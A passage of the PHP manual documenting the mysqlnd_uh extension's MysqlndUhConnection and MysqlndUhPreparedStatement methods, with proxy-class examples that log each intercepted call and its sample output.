proxy::setClientOption(array (
  0 => NULL,
  1 => 211,
  2 => 'mysql_native_password',
))
Option 'MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL' set to 'mysql_native_password'
proxy::setClientOption returns true
proxy::setClientOption(array (
  0 => NULL,
  1 => 8,
  2 => 1,
))
Option 'MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE' set to 1
proxy::setClientOption returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::setCharset
MysqlndUhConnection::setServerOption
MysqlndUhConnection


Sets a server option

MysqlndUhConnection::setClientOption
MysqlndUhConnection::shutdownServer
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::setServerOption

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setServerOption — Sets a server option

Description

public void MysqlndUhConnection::setServerOption ( mysqlnd_connection $connection , int $option )

Sets a server option.

Parameters

connection

Mysqlnd connection handle. Do not modify!

option

The option to be set.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::setServerOption() example

<?php
function server_option_to_string($option) {
 $ret = 'unknown';
 switch ($option) {
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
  case MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF:
   $ret = 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON';
   break;
 }
 return $ret;
}

class proxy extends MysqlndUhConnection {
 public function setServerOption($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Option '%s' set\n", server_option_to_string($option));
  $ret = parent::setServerOption($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1; SELECT 2");
?>

The above example will output:

proxy::setServerOption(array (
  0 => NULL,
  1 => 0,
))
Option 'MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON' set
proxy::setServerOption returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options
  • mysqli_multi_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::setClientOption
MysqlndUhConnection::shutdownServer
MysqlndUhConnection


The shutdownServer purpose

MysqlndUhConnection::setServerOption
MysqlndUhConnection::simpleCommand
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::shutdownServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::shutdownServer — The shutdownServer purpose

Description

public void MysqlndUhConnection::shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $"level" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

MYSQLND_UH_RES_MYSQLND_NAME

"level"

Return Values

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::setServerOption
MysqlndUhConnection::simpleCommand
MysqlndUhConnection


Sends a basic COM_* command

MysqlndUhConnection::shutdownServer
MysqlndUhConnection::simpleCommandHandleResponse
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::simpleCommand

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommand — Sends a basic COM_* command

Description

public bool MysqlndUhConnection::simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status )

Sends a basic COM_* command to MySQL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

command

The COM command to be send.

arg

Optional COM command arguments.

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::simpleCommand() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommand($conn, $command, $arg, $ok_packet, $silent, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

The above example will output:

proxy::simpleCommand(array (
  0 => NULL,
  1 => 3,
  2 => 'SELECT 1',
  3 => 13,
  4 => false,
  5 => false,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUERY'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true
:)proxy::simpleCommand(array (
  0 => NULL,
  1 => 1,
  2 => '',
  3 => 13,
  4 => true,
  5 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_QUIT'
OK packet 'MYSQLND_UH_MYSQLND_PROT_LAST'
proxy::simpleCommand returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::shutdownServer
MysqlndUhConnection::simpleCommandHandleResponse
MysqlndUhConnection


Process a response for a basic COM_* command send to the client

MysqlndUhConnection::simpleCommand
MysqlndUhConnection::sslSet
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::simpleCommandHandleResponse

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client

Description

public bool MysqlndUhConnection::simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status )

Process a response for a basic COM_* command send to the client.

Parameters

connection

Mysqlnd connection handle. Do not modify!

ok_packet

The OK packet type.

silent

Whether mysqlnd may emit errors.

command

The COM command to process results from.

ignore_upsert_status

Whether to ignore UPDATE/INSERT status.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::simpleCommandHandleResponse() example

<?php
function server_cmd_2_string($command) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_COM_SLEEP => "MYSQLND_UH_MYSQLND_COM_SLEEP",
  MYSQLND_UH_MYSQLND_COM_QUIT => "MYSQLND_UH_MYSQLND_COM_QUIT",
  MYSQLND_UH_MYSQLND_COM_INIT_DB => "MYSQLND_UH_MYSQLND_COM_INIT_DB",
  MYSQLND_UH_MYSQLND_COM_QUERY => "MYSQLND_UH_MYSQLND_COM_QUERY",
  MYSQLND_UH_MYSQLND_COM_FIELD_LIST => "MYSQLND_UH_MYSQLND_COM_FIELD_LIST",
  MYSQLND_UH_MYSQLND_COM_CREATE_DB => "MYSQLND_UH_MYSQLND_COM_CREATE_DB",
  MYSQLND_UH_MYSQLND_COM_DROP_DB => "MYSQLND_UH_MYSQLND_COM_DROP_DB",
  MYSQLND_UH_MYSQLND_COM_REFRESH => "MYSQLND_UH_MYSQLND_COM_REFRESH",
  MYSQLND_UH_MYSQLND_COM_SHUTDOWN => "MYSQLND_UH_MYSQLND_COM_SHUTDOWN",
  MYSQLND_UH_MYSQLND_COM_STATISTICS => "MYSQLND_UH_MYSQLND_COM_STATISTICS",
  MYSQLND_UH_MYSQLND_COM_PROCESS_INFO => "MYSQLND_UH_MYSQLND_COM_PROCESS_INFO",
  MYSQLND_UH_MYSQLND_COM_CONNECT => "MYSQLND_UH_MYSQLND_COM_CONNECT",
  MYSQLND_UH_MYSQLND_COM_PROCESS_KILL => "MYSQLND_UH_MYSQLND_COM_PROCESS_KILL",
  MYSQLND_UH_MYSQLND_COM_DEBUG => "MYSQLND_UH_MYSQLND_COM_DEBUG",
  MYSQLND_UH_MYSQLND_COM_PING => "MYSQLND_UH_MYSQLND_COM_PING",
  MYSQLND_UH_MYSQLND_COM_TIME => "MYSQLND_UH_MYSQLND_COM_TIME",
  MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT => "MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT",
  MYSQLND_UH_MYSQLND_COM_CHANGE_USER => "MYSQLND_UH_MYSQLND_COM_CHANGE_USER",
  MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP => "MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP",
  MYSQLND_UH_MYSQLND_COM_TABLE_DUMP => "MYSQLND_UH_MYSQLND_COM_TABLE_DUMP",
  MYSQLND_UH_MYSQLND_COM_CONNECT_OUT => "MYSQLND_UH_MYSQLND_COM_CONNECT_OUT",
  MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED => "MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED",
  MYSQLND_UH_MYSQLND_COM_STMT_PREPARE => "MYSQLND_UH_MYSQLND_COM_STMT_PREPARE",
  MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE => "MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE",
  MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA => "MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA",
  MYSQLND_UH_MYSQLND_COM_STMT_CLOSE => "MYSQLND_UH_MYSQLND_COM_STMT_CLOSE",
  MYSQLND_UH_MYSQLND_COM_STMT_RESET => "MYSQLND_UH_MYSQLND_COM_STMT_RESET",
  MYSQLND_UH_MYSQLND_COM_SET_OPTION => "MYSQLND_UH_MYSQLND_COM_SET_OPTION",
  MYSQLND_UH_MYSQLND_COM_STMT_FETCH => "MYSQLND_UH_MYSQLND_COM_STMT_FETCH",
  MYSQLND_UH_MYSQLND_COM_DAEMON => "MYSQLND_UH_MYSQLND_COM_DAEMON",
  MYSQLND_UH_MYSQLND_COM_END => "MYSQLND_UH_MYSQLND_COM_END",
 );
 return (isset($mapping[$command])) ? $mapping[$command] : 'unknown';
}

function ok_packet_2_string($ok_packet) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_PROT_GREET_PACKET => "MYSQLND_UH_MYSQLND_PROT_GREET_PACKET",
  MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET => "MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET",
  MYSQLND_UH_MYSQLND_PROT_OK_PACKET => "MYSQLND_UH_MYSQLND_PROT_OK_PACKET",
  MYSQLND_UH_MYSQLND_PROT_EOF_PACKET => "MYSQLND_UH_MYSQLND_PROT_EOF_PACKET",
  MYSQLND_UH_MYSQLND_PROT_CMD_PACKET => "MYSQLND_UH_MYSQLND_PROT_CMD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET",
  MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET => "MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET",
  MYSQLND_UH_MYSQLND_PROT_ROW_PACKET => "MYSQLND_UH_MYSQLND_PROT_ROW_PACKET",
  MYSQLND_UH_MYSQLND_PROT_STATS_PACKET => "MYSQLND_UH_MYSQLND_PROT_STATS_PACKET",
  MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET => "MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET",
  MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET => "MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET",
  MYSQLND_UH_MYSQLND_PROT_LAST => "MYSQLND_UH_MYSQLND_PROT_LAST",
 );
 return (isset($mapping[$ok_packet])) ? $mapping[$ok_packet] : 'unknown';
}

class proxy extends MysqlndUhConnection {
 public function simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  printf("Command '%s'\n", server_cmd_2_string($command));
  printf("OK packet '%s'\n",  ok_packet_2_string($ok_packet));
  $ret = parent::simpleCommandHandleResponse($conn, $ok_packet, $silent, $command, $ignore_upsert_status);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysql = mysql_connect("localhost", "root", "");
mysql_query("SELECT 1 FROM DUAL", $mysql);
?>

The above example will output:

proxy::simpleCommandHandleResponse(array (
  0 => NULL,
  1 => 5,
  2 => false,
  3 => 27,
  4 => true,
))
Command 'MYSQLND_UH_MYSQLND_COM_SET_OPTION'
OK packet 'MYSQLND_UH_MYSQLND_PROT_EOF_PACKET'
proxy::simpleCommandHandleResponse returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::simpleCommand
MysqlndUhConnection::sslSet
MysqlndUhConnection


Used for establishing secure connections using SSL

MysqlndUhConnection::simpleCommandHandleResponse
MysqlndUhConnection::stmtInit
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::sslSet

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL

Description

public bool MysqlndUhConnection::sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher )

Used for establishing secure connections using SSL.

Parameters

connection

Mysqlnd connection handle. Do not modify!

key

The path name to the key file.

cert

The path name to the certificate file.

ca

The path name to the certificate authority file.

capath

The pathname to a directory that contains trusted SSL CA certificates in PEM format.

cipher

A list of allowable ciphers to use for SSL encryption.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::sslSet() example

<?php
class proxy extends MysqlndUhConnection {
 public function sslSet($conn, $key, $cert, $ca, $capth, $cipher) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sslSet($conn, $key, $cert, $ca, $capth, $cipher);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ssl_set("key", "cert", "ca", "capath", "cipher");
?>

The above example will output:

proxy::sslSet(array (
  0 => NULL,
  1 => 'key',
  2 => 'cert',
  3 => 'ca',
  4 => 'capath',
  5 => 'cipher',
))
proxy::sslSet returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ssl_set() - Used for establishing secure connections using SSL

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::simpleCommandHandleResponse
MysqlndUhConnection::stmtInit
MysqlndUhConnection


Initializes a statement and returns a resource for use with mysqli_statement::prepare

MysqlndUhConnection::sslSet
MysqlndUhConnection::storeResult
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::stmtInit

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare

Description

public resource MysqlndUhConnection::stmtInit ( mysqlnd_connection $connection )

Initializes a statement and returns a resource for use with mysqli_statement::prepare.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_prepared_statement.

Examples

Example #1 MysqlndUhConnection::stmtInit() example

<?php
class proxy extends MysqlndUhConnection {
 public function stmtInit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  var_dump($res);
  $ret = parent::stmtInit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 1 AS _one FROM DUAL");
$stmt->execute();
$one = NULL;
$stmt->bind_result($one);
$stmt->fetch();
var_dump($one);
?>

The above example will output:

proxy::stmtInit(array (
  0 => NULL,
))
resource(19) of type (Mysqlnd Connection)
proxy::stmtInit returns NULL
resource(246) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::sslSet
MysqlndUhConnection::storeResult
MysqlndUhConnection


Transfers a result set from the last query

MysqlndUhConnection::stmtInit
MysqlndUhConnection::txCommit
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::storeResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::storeResult — Transfers a result set from the last query

Description

public resource MysqlndUhConnection::storeResult ( mysqlnd_connection $connection )

Transfers a result set from the last query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

Examples

Example #1 MysqlndUhConnection::storeResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function storeResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::storeResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Also called buffered result' AS _msg FROM DUAL");
var_dump($res->fetch_assoc());

$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->store_result();
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(475) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(27) "Also called buffered result"
}
proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(730) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_real_query() - Execute an SQL query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::stmtInit
MysqlndUhConnection::txCommit
MysqlndUhConnection


Commits the current transaction

MysqlndUhConnection::storeResult
MysqlndUhConnection::txRollback
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::txCommit

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::txCommit — Commits the current transaction

Description

public bool MysqlndUhConnection::txCommit ( mysqlnd_connection $connection )

Commits the current transaction.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::txCommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function txCommit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txCommit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->commit();
?>

The above example will output:

proxy::txCommit(array (
  0 => NULL,
))
proxy::txCommit returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - Commits the current transaction

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::storeResult
MysqlndUhConnection::txRollback
MysqlndUhConnection


Rolls back current transaction

MysqlndUhConnection::txCommit
MysqlndUhConnection::useResult
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::txRollback

(PECL mysqlnd-uh >= 1.0.1-alpha, PHP >= 5.4.0)

MysqlndUhConnection::txRollback — Rolls back current transaction

Description

public bool MysqlndUhConnection::txRollback ( mysqlnd_connection $connection )

Rolls back current transaction.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::txRollback() example

<?php
class proxy extends MysqlndUhConnection {
 public function txRollback($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txRollback($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->rollback();
?>

The above example will output:

proxy::txRollback(array (
  0 => NULL,
))
proxy::txRollback returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - Commits the current transaction

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::txCommit
MysqlndUhConnection::useResult
MysqlndUhConnection


Initiate a result set retrieval

MysqlndUhConnection::txRollback
MysqlndUhPreparedStatement
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::useResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::useResult — Initiate a result set retrieval

Description

public resource MysqlndUhConnection::useResult ( mysqlnd_connection $connection )

Initiate a result set retrieval.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

Examples

Example #1 MysqlndUhConnection::useResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function useResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::useResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->use_result();
var_dump($res->fetch_assoc());
?>

The above example will output:

proxy::useResult(array (
  0 => NULL,
))
proxy::useResult returns NULL
resource(425) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_real_query() - Execute an SQL query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::txRollback
MysqlndUhPreparedStatement
MysqlndUhConnection


The MysqlndUhPreparedStatement class

(No version information available, might only be in SVN)

Introduction

Class synopsis

MysqlndUhPreparedStatement {
/* Methods */
public __construct ( void )
public bool execute ( mysqlnd_prepared_statement $statement )
public bool prepare ( mysqlnd_prepared_statement $statement , string $query )
}

Table of Contents

  • MysqlndUhPreparedStatement::__construct — The __construct purpose
  • MysqlndUhPreparedStatement::execute — Executes a prepared Query
  • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::useResult
MysqlndUhPreparedStatement::__construct
mysqlnd_uh


The __construct purpose

MysqlndUhPreparedStatement
MysqlndUhPreparedStatement::execute
MysqlndUhPreparedStatement
PHP Manual

MysqlndUhPreparedStatement::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::__construct — The __construct purpose

Description

public MysqlndUhPreparedStatement::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhPreparedStatement
MysqlndUhPreparedStatement::execute
MysqlndUhPreparedStatement


Executes a prepared Query

MysqlndUhPreparedStatement::__construct
MysqlndUhPreparedStatement::prepare
MysqlndUhPreparedStatement
PHP Manual

MysqlndUhPreparedStatement::execute

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::execute — Executes a prepared Query

Description

public bool MysqlndUhPreparedStatement::execute ( mysqlnd_prepared_statement $statement )

Executes a prepared Query.

Parameters

statement

